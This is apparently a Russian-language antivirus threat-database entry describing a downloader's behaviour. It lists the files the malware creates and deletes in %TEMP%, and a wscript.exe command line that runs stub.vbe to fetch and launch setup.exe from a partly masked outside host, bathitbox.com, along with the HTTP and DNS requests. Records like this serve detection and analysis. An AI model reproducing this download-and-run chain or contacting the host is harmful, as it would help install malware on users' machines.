Техническая информация
Вредоносные функции:
Создает и запускает на исполнение:
- %TEMP%\stb1.tmp\setup.exe -i 00769e870c0249e3b3b664fa05a704ea -p QstbscWD3 /S
- %TEMP%\stb1.tmp\setup.exe (загружен из сети Интернет)
Запускает на исполнение:
- <SYSTEM32>\wscript.exe /B "%TEMP%\stb2.tmp\stub.vbe" "http://up#####.bathitbox.com/install.aspx?b=##########" "%TEMP%\stb1.tmp\setup.exe" ""%TEMP%\stb1.tmp\setup.exe" -i 00769e870c0249e3b3b664fa05a704ea -p QstbscWD3 /S" "http://up#####.bathitbox.com/?vn#########################################################################################################################################################################################################" 0 1
Изменения в файловой системе:
Создает следующие файлы:
- %TEMP%\stb1.tmp\setup.exe
- %TEMP%\stb2.tmp\stub.vbe
Удаляет следующие файлы:
- %TEMP%\stb1.tmp\setup.exe
- %TEMP%\stb2.tmp\stub.vbe
Сетевая активность:
Подключается к:
- 'up#####.bathitbox.com':80
TCP:
Запросы HTTP GET:
- up#####.bathitbox.com/?vn#######################################################################################################################################################################################################
- up#####.bathitbox.com/install.aspx?b=##########
UDP:
- DNS ASK up#####.bathitbox.com
- '<IP-адрес в локальной сети>':1036
